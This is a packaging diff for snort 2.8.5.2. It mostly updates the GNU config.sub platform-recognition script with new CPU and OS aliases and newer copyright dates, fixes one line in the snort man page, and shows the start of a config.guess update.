--- snort-2.8.5.2.orig/config.sub
+++ snort-2.8.5.2/config.sub
@@ -1,9 +1,10 @@
 #! /bin/sh
 # Configuration validation subroutine script.
 #   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
-#   2000, 2001, 2002 Free Software Foundation, Inc.
+#   2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008
+#   Free Software Foundation, Inc.
 
-timestamp='2002-01-02'
+timestamp='2009-04-17'
 
 # This file is (in principle) common to ALL GNU software.
 # The presence of a machine in this file suggests that SOME GNU software
@@ -21,14 +22,15 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330,
-# Boston, MA 02111-1307, USA.
-
+# Foundation, Inc., 51 Franklin Street - Fifth Floor, Boston, MA
+# 02110-1301, USA.
+#
 # As a special exception to the GNU General Public License, if you
 # distribute this file as part of a program that contains a
 # configuration script generated by Autoconf, you may include it under
 # the same distribution terms that you use for the rest of that program.
 
+
 # Please send patches to <config-patches@gnu.org>.  Submit a context
 # diff and a properly formatted ChangeLog entry.
 #
@@ -70,8 +72,8 @@
 version="\
 GNU config.sub ($timestamp)
 
-Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
-Free Software Foundation, Inc.
+Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001,
+2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc.
 
 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."
@@ -83,11 +85,11 @@
 while test $# -gt 0 ; do
   case $1 in
     --time-stamp | --time* | -t )
-       echo "$timestamp" ; exit 0 ;;
+       echo "$timestamp" ; exit ;;
     --version | -v )
-       echo "$version" ; exit 0 ;;
+       echo "$version" ; exit ;;
     --help | --h* | -h )
-       echo "$usage"; exit 0 ;;
+       echo "$usage"; exit ;;
     -- )     # Stop option processing
        shift; break ;;
     - )	# Use stdin as input.
@@ -99,7 +101,7 @@
     *local*)
        # First pass through any local machine types.
        echo $1
-       exit 0;;
+       exit ;;
 
     * )
        break ;;
@@ -118,7 +120,10 @@
 # Here we must recognize all the valid KERNEL-OS combinations.
 maybe_os=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\2/'`
 case $maybe_os in
-  nto-qnx* | linux-gnu* | storm-chaos* | os2-emx* | windows32-*)
+  nto-qnx* | linux-gnu* | linux-dietlibc | linux-newlib* | linux-uclibc* | \
+  uclinux-uclibc* | uclinux-gnu* | kfreebsd*-gnu* | knetbsd*-gnu* | netbsd*-gnu* | \
+  kopensolaris*-gnu* | \
+  storm-chaos* | os2-emx* | rtmk-nova*)
     os=-$maybe_os
     basic_machine=`echo $1 | sed 's/^\(.*\)-\([^-]*-[^-]*\)$/\1/'`
     ;;
@@ -144,7 +149,7 @@
 	-convergent* | -ncr* | -news | -32* | -3600* | -3100* | -hitachi* |\
 	-c[123]* | -convex* | -sun | -crds | -omron* | -dg | -ultra | -tti* | \
 	-harris | -dolphin | -highlevel | -gould | -cbm | -ns | -masscomp | \
-	-apple | -axis)
+	-apple | -axis | -knuth | -cray)
 		os=
 		basic_machine=$1
 		;;
@@ -169,6 +174,10 @@
 	-hiux*)
 		os=-hiuxwe2
 		;;
+	-sco6)
+		os=-sco5v6
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
 	-sco5)
 		os=-sco3.2v5
 		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
@@ -185,6 +194,10 @@
 		# Don't forget version if it is 3.2v4 or newer.
 		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
 		;;
+	-sco5v6*)
+		# Don't forget version if it is 3.2v4 or newer.
+		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
+		;;
 	-sco*)
 		os=-sco3.2v2
 		basic_machine=`echo $1 | sed -e 's/86-.*/86-pc/'`
@@ -228,32 +241,57 @@
 	| a29k \
 	| alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \
 	| alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \
-	| arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \
+	| am33_2.0 \
+	| arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr | avr32 \
+	| bfin \
 	| c4x | clipper \
-	| d10v | d30v | dsp16xx \
-	| fr30 \
+	| d10v | d30v | dlx | dsp16xx \
+	| fido | fr30 | frv \
 	| h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \
 	| i370 | i860 | i960 | ia64 \
-	| m32r | m68000 | m68k | m88k | mcore \
-	| mips16 | mips64 | mips64el | mips64orion | mips64orionel \
-	| mips64vr4100 | mips64vr4100el | mips64vr4300 \
-	| mips64vr4300el | mips64vr5000 | mips64vr5000el \
-	| mipsbe | mipseb | mipsel | mipsle | mipstx39 | mipstx39el \
-	| mipsisa32 \
+	| ip2k | iq2000 \
+	| lm32 \
+	| m32c | m32r | m32rle | m68000 | m68k | m88k \
+	| maxq | mb | microblaze | mcore | mep | metag \
+	| mips | mipsbe | mipseb | mipsel | mipsle \
+	| mips16 \
+	| mips64 | mips64el \
+	| mips64octeon | mips64octeonel \
+	| mips64orion | mips64orionel \
+	| mips64r5900 | mips64r5900el \
+	| mips64vr | mips64vrel \
+	| mips64vr4100 | mips64vr4100el \
+	| mips64vr4300 | mips64vr4300el \
+	| mips64vr5000 | mips64vr5000el \
+	| mips64vr5900 | mips64vr5900el \
+	| mipsisa32 | mipsisa32el \
+	| mipsisa32r2 | mipsisa32r2el \
+	| mipsisa64 | mipsisa64el \
+	| mipsisa64r2 | mipsisa64r2el \
+	| mipsisa64sb1 | mipsisa64sb1el \
+	| mipsisa64sr71k | mipsisa64sr71kel \
+	| mipstx39 | mipstx39el \
 	| mn10200 | mn10300 \
+	| moxie \
+	| mt \
+	| msp430 \
+	| nios | nios2 \
 	| ns16k | ns32k \
-	| openrisc \
+	| or32 \
 	| pdp10 | pdp11 | pj | pjl \
 	| powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \
 	| pyramid \
-	| sh | sh[34] | sh[34]eb | shbe | shle \
-	| sparc | sparc64 | sparclet | sparclite | sparcv9 | sparcv9b \
-	| strongarm \
-	| tahoe | thumb | tic80 | tron \
+	| score \
+	| sh | sh[1234] | sh[24]a | sh[24]aeb | sh[23]e | sh[34]eb | sheb | shbe | shle | sh[1234]le | sh3ele \
+	| sh64 | sh64le \
+	| sparc | sparc64 | sparc64b | sparc64v | sparc86x | sparclet | sparclite \
+	| sparcv8 | sparcv9 | sparcv9b | sparcv9v \
+	| spu | strongarm \
+	| tahoe | thumb | tic4x | tic80 | tron \
 	| v850 | v850e \
 	| we32k \
-	| x86 | xscale | xstormy16 | xtensa \
-	| z8k)
+	| x86 | xc16x | xscale | xscalee[bl] | xstormy16 | xtensa \
+	| z8k | z80)
 		basic_machine=$basic_machine-unknown
 		;;
 	m6811 | m68hc11 | m6812 | m68hc12)
@@ -263,6 +301,9 @@
 		;;
 	m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k)
 		;;
+	ms1)
+		basic_machine=mt-unknown
+		;;
 
 	# We use `pc' rather than `unknown'
 	# because (1) that's what they normally are, and
@@ -281,40 +322,68 @@
 	| alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \
 	| alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \
 	| alphapca5[67]-* | alpha64pca5[67]-* | arc-* \
-	| arm-*  | armbe-* | armle-* | armv*-* \
-	| avr-* \
-	| bs2000-* \
-	| c[123]* | c30-* | [cjt]90-* | c54x-* \
-	| clipper-* | cray2-* | cydra-* \
-	| d10v-* | d30v-* \
+	| arm-*  | armbe-* | armle-* | armeb-* | armv*-* \
+	| avr-* | avr32-* \
+	| bfin-* | bs2000-* \
+	| c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \
+	| clipper-* | craynv-* | cydra-* \
+	| d10v-* | d30v-* | dlx-* \
 	| elxsi-* \
-	| f30[01]-* | f700-* | fr30-* | fx80-* \
+	| f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \
 	| h8300-* | h8500-* \
 	| hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \
 	| i*86-* | i860-* | i960-* | ia64-* \
-	| m32r-* \
-	| m68000-* | m680[01234]0-* | m68360-* | m683?2-* | m68k-* \
-	| m88110-* | m88k-* | mcore-* \
-	| mips-* | mips16-* | mips64-* | mips64el-* | mips64orion-* \
-	| mips64orionel-* | mips64vr4100-* | mips64vr4100el-* \
-	| mips64vr4300-* | mips64vr4300el-* | mipsbe-* | mipseb-* \
-	| mipsle-* | mipsel-* | mipstx39-* | mipstx39el-* \
+	| ip2k-* | iq2000-* \
+	| lm32-* \
+	| m32c-* | m32r-* | m32rle-* \
+	| m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \
+	| m88110-* | m88k-* | maxq-* | mcore-* | metag-* \
+	| mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \
+	| mips16-* \
+	| mips64-* | mips64el-* \
+	| mips64octeon-* | mips64octeonel-* \
+	| mips64orion-* | mips64orionel-* \
+	| mips64r5900-* | mips64r5900el-* \
+	| mips64vr-* | mips64vrel-* \
+	| mips64vr4100-* | mips64vr4100el-* \
+	| mips64vr4300-* | mips64vr4300el-* \
+	| mips64vr5000-* | mips64vr5000el-* \
+	| mips64vr5900-* | mips64vr5900el-* \
+	| mipsisa32-* | mipsisa32el-* \
+	| mipsisa32r2-* | mipsisa32r2el-* \
+	| mipsisa64-* | mipsisa64el-* \
+	| mipsisa64r2-* | mipsisa64r2el-* \
+	| mipsisa64sb1-* | mipsisa64sb1el-* \
+	| mipsisa64sr71k-* | mipsisa64sr71kel-* \
+	| mipstx39-* | mipstx39el-* \
+	| mmix-* \
+	| mt-* \
+	| msp430-* \
+	| nios-* | nios2-* \
 	| none-* | np1-* | ns16k-* | ns32k-* \
 	| orion-* \
 	| pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \
 	| powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \
 	| pyramid-* \
 	| romp-* | rs6000-* \
-	| sh-* | sh[34]-* | sh[34]eb-* | shbe-* | shle-* \
-	| sparc-* | sparc64-* | sparc86x-* | sparclite-* \
-	| sparcv9-* | sparcv9b-* | strongarm-* | sv1-* \
-	| t3e-* | tahoe-* | thumb-* | tic30-* | tic54x-* | tic80-* | tron-* \
+	| sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \
+	| shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \
+	| sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \
+	| sparclite-* \
+	| sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | strongarm-* | sv1-* | sx?-* \
+	| tahoe-* | thumb-* \
+	| tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* | tile-* \
+	| tron-* \
 	| v850-* | v850e-* | vax-* \
 	| we32k-* \
-	| x86-* | x86_64-* | xmp-* | xps100-* | xscale-* | xstormy16-* \
-	| xtensa-* \
+	| x86-* | x86_64-* | xc16x-* | xps100-* | xscale-* | xscalee[bl]-* \
+	| xstormy16-* | xtensa*-* \
 	| ymp-* \
-	| z8k-*)
+	| z8k-* | z80-*)
+		;;
+	# Recognize the basic CPU types without company name, with glob match.
+	xtensa*)
+		basic_machine=$basic_machine-unknown
 		;;
 	# Recognize the various machine names and aliases which stand
 	# for a CPU type and a company and sometimes even an OS.
@@ -332,6 +401,9 @@
 		basic_machine=a29k-amd
 		os=-udi
 		;;
+    	abacus)
+		basic_machine=abacus-unknown
+		;;
 	adobe68k)
 		basic_machine=m68010-adobe
 		os=-scout
@@ -346,6 +418,12 @@
 		basic_machine=a29k-none
 		os=-bsd
 		;;
+	amd64)
+		basic_machine=x86_64-pc
+		;;
+	amd64-*)
+		basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
 	amdahl)
 		basic_machine=580-amdahl
 		os=-sysv
@@ -369,6 +447,10 @@
 		basic_machine=m68k-apollo
 		os=-bsd
 		;;
+	aros)
+		basic_machine=i386-pc
+		os=-aros
+		;;
 	aux)
 		basic_machine=m68k-apple
 		os=-aux
@@ -377,6 +459,22 @@
 		basic_machine=ns32k-sequent
 		os=-dynix
 		;;
+	blackfin)
+		basic_machine=bfin-unknown
+		os=-linux
+		;;
+	blackfin-*)
+		basic_machine=bfin-`echo $basic_machine | sed 's/^[^-]*-//'`
+		os=-linux
+		;;
+	c90)
+		basic_machine=c90-cray
+		os=-unicos
+		;;
+        cegcc)
+		basic_machine=arm-unknown
+		os=-cegcc
+		;;
 	convex-c1)
 		basic_machine=c1-convex
 		os=-bsd
@@ -397,24 +495,31 @@
 		basic_machine=c38-convex
 		os=-bsd
 		;;
-	cray | ymp)
-		basic_machine=ymp-cray
+	cray | j90)
+		basic_machine=j90-cray
 		os=-unicos
 		;;
-	cray2)
-		basic_machine=cray2-cray
-		os=-unicos
+	craynv)
+		basic_machine=craynv-cray
+		os=-unicosmp
 		;;
-	[cjt]90)
-		basic_machine=${basic_machine}-cray
-		os=-unicos
+	cr16)
+		basic_machine=cr16-unknown
+		os=-elf
 		;;
 	crds | unos)
 		basic_machine=m68k-crds
 		;;
+	crisv32 | crisv32-* | etraxfs*)
+		basic_machine=crisv32-axis
+		;;
 	cris | cris-* | etrax*)
 		basic_machine=cris-axis
 		;;
+	crx)
+		basic_machine=crx-unknown
+		os=-elf
+		;;
 	da30 | da30-*)
 		basic_machine=m68k-da30
 		;;
@@ -437,6 +542,14 @@
 		basic_machine=m88k-motorola
 		os=-sysv3
 		;;
+	dicos)
+		basic_machine=i686-pc
+		os=-dicos
+		;;
+	djgpp)
+		basic_machine=i586-pc
+		os=-msdosdjgpp
+		;;
 	dpx20 | dpx20-*)
 		basic_machine=rs6000-bull
 		os=-bosx
@@ -587,6 +700,14 @@
 		basic_machine=m68k-isi
 		os=-sysv
 		;;
+	m68knommu)
+		basic_machine=m68k-unknown
+		os=-linux
+		;;
+	m68knommu-*)
+		basic_machine=m68k-`echo $basic_machine | sed 's/^[^-]*-//'`
+		os=-linux
+		;;
 	m88k-omron*)
 		basic_machine=m88k-omron
 		;;
@@ -602,6 +723,10 @@
 		basic_machine=i386-pc
 		os=-mingw32
 		;;
+	mingw32ce)
+		basic_machine=arm-unknown
+		os=-mingw32ce
+		;;
 	miniframe)
 		basic_machine=m68000-convergent
 		;;
@@ -609,24 +734,12 @@
 		basic_machine=m68k-atari
 		os=-mint
 		;;
-	mipsel*-linux*)
-		basic_machine=mipsel-unknown
-		os=-linux-gnu
-		;;
-	mips*-linux*)
-		basic_machine=mips-unknown
-		os=-linux-gnu
-		;;
 	mips3*-*)
 		basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`
 		;;
 	mips3*)
 		basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown
 		;;
-	mmix*)
-		basic_machine=mmix-knuth
-		os=-mmixware
-		;;
 	monitor)
 		basic_machine=m68k-rom68k
 		os=-coff
@@ -639,6 +752,9 @@
 		basic_machine=i386-pc
 		os=-msdos
 		;;
+	ms1-*)
+		basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'`
+		;;
 	mvs)
 		basic_machine=i370-ibm
 		os=-mvs
@@ -714,6 +830,13 @@
 		basic_machine=hppa1.1-oki
 		os=-proelf
 		;;
+	openrisc | openrisc-*)
+		basic_machine=or32-unknown
+		;;
+	os400)
+		basic_machine=powerpc-ibm
+		os=-os400
+		;;
 	OSE68000 | ose68000)
 		basic_machine=m68000-ericsson
 		os=-ose
@@ -730,55 +853,75 @@
 		basic_machine=i860-intel
 		os=-osf
 		;;
+	parisc)
+		basic_machine=hppa-unknown
+		os=-linux
+		;;
+	parisc-*)
+		basic_machine=hppa-`echo $basic_machine | sed 's/^[^-]*-//'`
+		os=-linux
+		;;
 	pbd)
 		basic_machine=sparc-tti
 		;;
 	pbb)
 		basic_machine=m68k-tti
 		;;
-        pc532 | pc532-*)
+	pc532 | pc532-*)
 		basic_machine=ns32k-pc532
 		;;
+	pc98)
+		basic_machine=i386-pc
+		;;
+	pc98-*)
+		basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
 	pentium | p5 | k5 | k6 | nexgen | viac3)
 		basic_machine=i586-pc
 		;;
-	pentiumpro | p6 | 6x86 | athlon)
+	pentiumpro | p6 | 6x86 | athlon | athlon_*)
 		basic_machine=i686-pc
 		;;
-	pentiumii | pentium2)
+	pentiumii | pentium2 | pentiumiii | pentium3)
 		basic_machine=i686-pc
 		;;
+	pentium4)
+		basic_machine=i786-pc
+		;;
 	pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*)
 		basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	pentiumpro-* | p6-* | 6x86-* | athlon-*)
 		basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
-	pentiumii-* | pentium2-*)
+	pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*)
 		basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
+	pentium4-*)
+		basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'`
+		;;
 	pn)
 		basic_machine=pn-gould
 		;;
 	power)	basic_machine=power-ibm
 		;;
 	ppc)	basic_machine=powerpc-unknown
-	        ;;
+		;;
 	ppc-*)	basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	ppcle | powerpclittle | ppc-le | powerpc-little)
 		basic_machine=powerpcle-unknown
-	        ;;
+		;;
 	ppcle-* | powerpclittle-*)
 		basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	ppc64)	basic_machine=powerpc64-unknown
-	        ;;
+		;;
 	ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
 	ppc64le | powerpc64little | ppc64-le | powerpc64-little)
 		basic_machine=powerpc64le-unknown
-	        ;;
+		;;
 	ppc64le-* | powerpc64little-*)
 		basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'`
 		;;
@@ -789,6 +932,10 @@
 		basic_machine=i586-unknown
 		os=-pw32
 		;;
+	rdos)
+		basic_machine=i386-pc
+		os=-rdos
+		;;
 	rom68k)
 		basic_machine=m68k-rom68k
 		os=-coff
@@ -809,6 +956,20 @@
 		basic_machine=a29k-amd
 		os=-udi
 		;;
+	sb1)
+		basic_machine=mipsisa64sb1-unknown
+		;;
+	sb1el)
+		basic_machine=mipsisa64sb1el-unknown
+		;;
+	sde)
+		basic_machine=mipsisa32-sde
+		os=-elf
+		;;
+	sei)
+		basic_machine=mips-sei
+		os=-seiux
+		;;
 	sequent)
 		basic_machine=i386-sequent
 		;;
@@ -816,6 +977,12 @@
 		basic_machine=sh-hitachi
 		os=-hms
 		;;
+	sh5el)
+		basic_machine=sh5le-unknown
+		;;
+	sh64)
+		basic_machine=sh64-unknown
+		;;
 	sparclite-wrs | simso-wrs)
 		basic_machine=sparclite-wrs
 		os=-vxworks
@@ -883,13 +1050,29 @@
 		os=-dynix
 		;;
 	t3e)
-		basic_machine=t3e-cray
+		basic_machine=alphaev5-cray
+		os=-unicos
+		;;
+	t90)
+		basic_machine=t90-cray
 		os=-unicos
 		;;
 	tic54x | c54x*)
 		basic_machine=tic54x-unknown
 		os=-coff
 		;;
+	tic55x | c55x*)
+		basic_machine=tic55x-unknown
+		os=-coff
+		;;
+	tic6x | c6x*)
+		basic_machine=tic6x-unknown
+		os=-coff
+		;;
+	tile*)
+		basic_machine=tile-unknown
+		os=-linux-gnu
+		;;
 	tx39)
 		basic_machine=mipstx39-unknown
 		;;
@@ -903,6 +1086,10 @@
 	tower | tower-32)
 		basic_machine=m68k-ncr
 		;;
+	tpf)
+		basic_machine=s390x-ibm
+		os=-tpf
+		;;
 	udi29k)
 		basic_machine=a29k-amd
 		os=-udi
@@ -924,8 +1111,8 @@
 		os=-vms
 		;;
 	vpp*|vx|vx-*)
-               basic_machine=f301-fujitsu
-               ;;
+		basic_machine=f301-fujitsu
+		;;
 	vxworks960)
 		basic_machine=i960-wrs
 		os=-vxworks
@@ -946,21 +1133,25 @@
 		basic_machine=hppa1.1-winbond
 		os=-proelf
 		;;
-	windows32)
-		basic_machine=i386-pc
-		os=-windows32-msvcrt
-		;;
-	xmp)
-		basic_machine=xmp-cray
-		os=-unicos
+	xbox)
+		basic_machine=i686-pc
+		os=-mingw32
 		;;
-        xps | xps100)
+	xps | xps100)
 		basic_machine=xps100-honeywell
 		;;
+	ymp)
+		basic_machine=ymp-cray
+		os=-unicos
+		;;
 	z8k-*-coff)
 		basic_machine=z8k-unknown
 		os=-sim
 		;;
+	z80-*-coff)
+		basic_machine=z80-unknown
+		os=-sim
+		;;
 	none)
 		basic_machine=none-none
 		os=-none
@@ -977,16 +1168,12 @@
 	op60c)
 		basic_machine=hppa1.1-oki
 		;;
-	mips)
-		if [ x$os = x-linux-gnu ]; then
-			basic_machine=mips-unknown
-		else
-			basic_machine=mips-mips
-		fi
-		;;
 	romp)
 		basic_machine=romp-ibm
 		;;
+	mmix)
+		basic_machine=mmix-knuth
+		;;
 	rs6000)
 		basic_machine=rs6000-ibm
 		;;
@@ -1003,13 +1190,13 @@
 	we32k)
 		basic_machine=we32k-att
 		;;
-	sh3 | sh4 | sh3eb | sh4eb)
+	sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele)
 		basic_machine=sh-unknown
 		;;
-	sparc | sparcv9 | sparcv9b)
+	sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v)
 		basic_machine=sparc-sun
 		;;
-        cydra)
+	cydra)
 		basic_machine=cydra-cydrome
 		;;
 	orion)
@@ -1024,10 +1211,6 @@
 	pmac | pmac-mpw)
 		basic_machine=powerpc-apple
 		;;
-	c4x*)
-		basic_machine=c4x-none
-		os=-coff
-		;;
 	*-unknown)
 		# Make sure to match an already-canonicalized machine name.
 		;;
@@ -1079,21 +1262,28 @@
 	-gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
 	      | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\
 	      | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \
+	      | -kopensolaris* \
 	      | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \
-	      | -aos* \
+	      | -aos* | -aros* \
 	      | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
 	      | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
-	      | -hiux* | -386bsd* | -netbsd* | -openbsd* | -freebsd* | -riscix* \
-	      | -lynxos* | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
+	      | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \
+	      | -openbsd* | -solidbsd* \
+	      | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \
+	      | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
 	      | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
 	      | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
-	      | -chorusos* | -chorusrdb* \
+	      | -chorusos* | -chorusrdb* | -cegcc* \
 	      | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
-	      | -mingw32* | -linux-gnu* | -uxpv* | -beos* | -mpeix* | -udk* \
-	      | -interix* | -uwin* | -rhapsody* | -darwin* | -opened* \
+	      | -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \
+	      | -uxpv* | -beos* | -mpeix* | -udk* \
+	      | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
 	      | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
 	      | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \
-	      | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* | -morphos*)
+	      | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \
+	      | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \
+	      | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \
+	      | -skyos* | -haiku* | -rdos* | -toppers* | -drops*)
 	# Remember, each alternative MUST END IN *, to match a version number.
 		;;
 	-qnx*)
@@ -1105,16 +1295,21 @@
 			;;
 		esac
 		;;
+	-nto-qnx*)
+		;;
 	-nto*)
-		os=-nto-qnx
+		os=`echo $os | sed -e 's|nto|nto-qnx|'`
 		;;
 	-sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \
-	      | -windows* | -osx | -abug | -netware* | -os9* | -beos* \
+	      | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \
 	      | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*)
 		;;
 	-mac*)
 		os=`echo $os | sed -e 's|mac|macos|'`
 		;;
+	-linux-dietlibc)
+		os=-linux-dietlibc
+		;;
 	-linux*)
 		os=`echo $os | sed -e 's|linux|linux-gnu|'`
 		;;
@@ -1127,6 +1322,9 @@
 	-opened*)
 		os=-openedition
 		;;
+        -os400*)
+		os=-os400
+		;;
 	-wince*)
 		os=-wince
 		;;
@@ -1148,14 +1346,20 @@
 	-atheos*)
 		os=-atheos
 		;;
+	-syllable*)
+		os=-syllable
+		;;
 	-386bsd)
 		os=-bsd
 		;;
 	-ctix* | -uts*)
 		os=-sysv
 		;;
+	-nova*)
+		os=-rtmk-nova
+		;;
 	-ns2 )
-	        os=-nextstep2
+		os=-nextstep2
 		;;
 	-nsk*)
 		os=-nsk
@@ -1167,6 +1371,9 @@
 	-sinix*)
 		os=-sysv4
 		;;
+        -tpf*)
+		os=-tpf
+		;;
 	-triton*)
 		os=-sysv3
 		;;
@@ -1194,8 +1401,20 @@
 	-xenix)
 		os=-xenix
 		;;
-        -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
-	        os=-mint
+	-*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
+		os=-mint
+		;;
+	-aros*)
+		os=-aros
+		;;
+	-kaos*)
+		os=-kaos
+		;;
+	-zvmoe)
+		os=-zvmoe
+		;;
+	-dicos*)
+		os=-dicos
 		;;
 	-none)
 		;;
@@ -1219,6 +1438,12 @@
 # system, and we'll never get to this point.
 
 case $basic_machine in
+        score-*)
+		os=-elf
+		;;
+        spu-*)
+		os=-elf
+		;;
 	*-acorn)
 		os=-riscix1.2
 		;;
@@ -1228,11 +1453,14 @@
 	arm*-semi)
 		os=-aout
 		;;
+        c4x-* | tic4x-*)
+        	os=-coff
+		;;
 	# This must come before the *-dec entry.
 	pdp10-*)
 		os=-tops20
 		;;
-        pdp11-*)
+	pdp11-*)
 		os=-none
 		;;
 	*-dec | vax-*)
@@ -1253,12 +1481,18 @@
 	m68*-cisco)
 		os=-aout
 		;;
+        mep-*)
+		os=-elf
+		;;
 	mips*-cisco)
 		os=-elf
 		;;
 	mips*-*)
 		os=-elf
 		;;
+	or32-*)
+		os=-coff
+		;;
 	*-tti)	# must be before sparc entry or we get the wrong os.
 		os=-sysv3
 		;;
@@ -1268,9 +1502,15 @@
 	*-be)
 		os=-beos
 		;;
+	*-haiku)
+		os=-haiku
+		;;
 	*-ibm)
 		os=-aix
 		;;
+    	*-knuth)
+		os=-mmixware
+		;;
 	*-wec)
 		os=-proelf
 		;;
@@ -1322,19 +1562,19 @@
 	*-next)
 		os=-nextstep3
 		;;
-        *-gould)
+	*-gould)
 		os=-sysv
 		;;
-        *-highlevel)
+	*-highlevel)
 		os=-bsd
 		;;
 	*-encore)
 		os=-bsd
 		;;
-        *-sgi)
+	*-sgi)
 		os=-irix
 		;;
-        *-siemens)
+	*-siemens)
 		os=-sysv4
 		;;
 	*-masscomp)
@@ -1403,10 +1643,16 @@
 			-mvs* | -opened*)
 				vendor=ibm
 				;;
+			-os400*)
+				vendor=ibm
+				;;
 			-ptx*)
 				vendor=sequent
 				;;
-			-vxsim* | -vxworks*)
+			-tpf*)
+				vendor=ibm
+				;;
+			-vxsim* | -vxworks* | -windiss*)
 				vendor=wrs
 				;;
 			-aux*)
@@ -1430,7 +1676,7 @@
 esac
 
 echo $basic_machine$os
-exit 0
+exit
 
 # Local variables:
 # eval: (add-hook 'write-file-hooks 'time-stamp)
--- snort-2.8.5.2.orig/snort.8
+++ snort-2.8.5.2/snort.8
@@ -280,7 +280,7 @@
 .IP "-P snap-length"
 Set the packet snaplen to 
 .I snap-length
-.  By default, this is set to 1514.
+\&.  By default, this is set to 1514.
 .IP "-q"
 Quiet operation.  Don't display banner and initialization information.
 .IP "-Q"
--- snort-2.8.5.2.orig/config.guess
+++ snort-2.8.5.2/config.guess
@@ -1,9 +1,10 @@
 #! /bin/sh
 # Attempt to guess a canonical system name.
 #   Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999,
-#   2000, 2001, 2002 Free Software Foundation, Inc.
+#   2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008
+#   Free Software Foundation, Inc.
